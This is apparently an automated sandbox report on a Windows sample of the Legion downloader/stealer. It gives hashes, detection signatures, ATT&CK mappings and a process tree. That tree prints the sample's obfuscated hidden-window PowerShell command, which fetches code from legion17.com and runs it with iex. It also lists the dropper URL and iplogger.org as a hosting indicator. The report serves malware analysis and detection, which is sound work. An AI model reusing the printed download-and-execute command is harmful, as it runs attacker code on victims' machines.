legion | 2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30

General

Target

d103074755792906a0aab038103444e3_JaffaCakes118.exe
Size

184KB
MD5

d103074755792906a0aab038103444e3
SHA1

ffb8d5a1d2d3dda1fa013168017bd833aaa28064
SHA256

2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30
SHA512

30be12dba187e19d797e6a5b502185ac37848ef80e9431e0cfb98c4b64c104f122fa2101538a0805513b7658bc8585a31ce0a8f00b725f33b8f70645e82e4660
SSDEEP

3072:oUZF2pKMp8r2+6LqAlkNQu2BaYP138oC2C5L:PZF2jpwARBsXL

Score

10^/10

legion discovery downloader execution stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://legion17.com/legion17/welcome

Signatures

Legion
Legion is a malware downloader written in C++ and stealer written C#.
downloader stealer legion

Legion downloader 1 IoCs

Detected Legion downloader HTTP request code and PowerShell execution.

downloader

resource	yara_rule
behavioral2/memory/4012-9-0x0000000000C50000-0x0000000000C83000-memory.dmp	legion_downloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
23	3044	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3044	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	iplogger.org
6	iplogger.org

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d103074755792906a0aab038103444e3_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3044	powershell.exe
3044	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3044	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4012 wrote to memory of 3076	4012	d103074755792906a0aab038103444e3_JaffaCakes118.exe	87
PID 4012 wrote to memory of 3076	4012	d103074755792906a0aab038103444e3_JaffaCakes118.exe	87
PID 4012 wrote to memory of 3076	4012	d103074755792906a0aab038103444e3_JaffaCakes118.exe	87
PID 3076 wrote to memory of 3044	3076	cmd.exe	89
PID 3076 wrote to memory of 3044	3076	cmd.exe	89
PID 3076 wrote to memory of 3044	3076	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\d103074755792906a0aab038103444e3_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\d103074755792906a0aab038103444e3_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4012
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#//legion17.com/leg#ion1#7#/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5);&$t[0]$t[1]}"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3076
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -windowstyle hidden -command "&{$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#//legion17.com/leg#ion1#7#/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5);&$t[0]$t[1]}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rgolfkz0.gd5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3044-15-0x0000000006270000-0x00000000062D6000-memory.dmp

Filesize
408KB

Download
memory/3044-10-0x000000007485E000-0x000000007485F000-memory.dmp

Filesize
4KB

Download
memory/3044-12-0x0000000074850000-0x0000000075000000-memory.dmp

Filesize
7.7MB

Download
memory/3044-13-0x0000000005B40000-0x0000000006168000-memory.dmp

Filesize
6.2MB

Download
memory/3044-14-0x0000000005A80000-0x0000000005AA2000-memory.dmp

Filesize
136KB

Download
memory/3044-33-0x0000000074850000-0x0000000075000000-memory.dmp

Filesize
7.7MB

Download
memory/3044-16-0x00000000062E0000-0x0000000006346000-memory.dmp

Filesize
408KB

Download
memory/3044-11-0x0000000003360000-0x0000000003396000-memory.dmp

Filesize
216KB

Download
memory/3044-26-0x0000000006450000-0x00000000067A4000-memory.dmp

Filesize
3.3MB

Download
memory/3044-27-0x0000000006940000-0x000000000695E000-memory.dmp

Filesize
120KB

Download
memory/3044-28-0x0000000006990000-0x00000000069DC000-memory.dmp

Filesize
304KB

Download
memory/3044-29-0x0000000008190000-0x000000000880A000-memory.dmp

Filesize
6.5MB

Download
memory/3044-30-0x0000000006E80000-0x0000000006E9A000-memory.dmp

Filesize
104KB

Download
memory/4012-9-0x0000000000C50000-0x0000000000C83000-memory.dmp

Filesize
204KB

Download

Analysis

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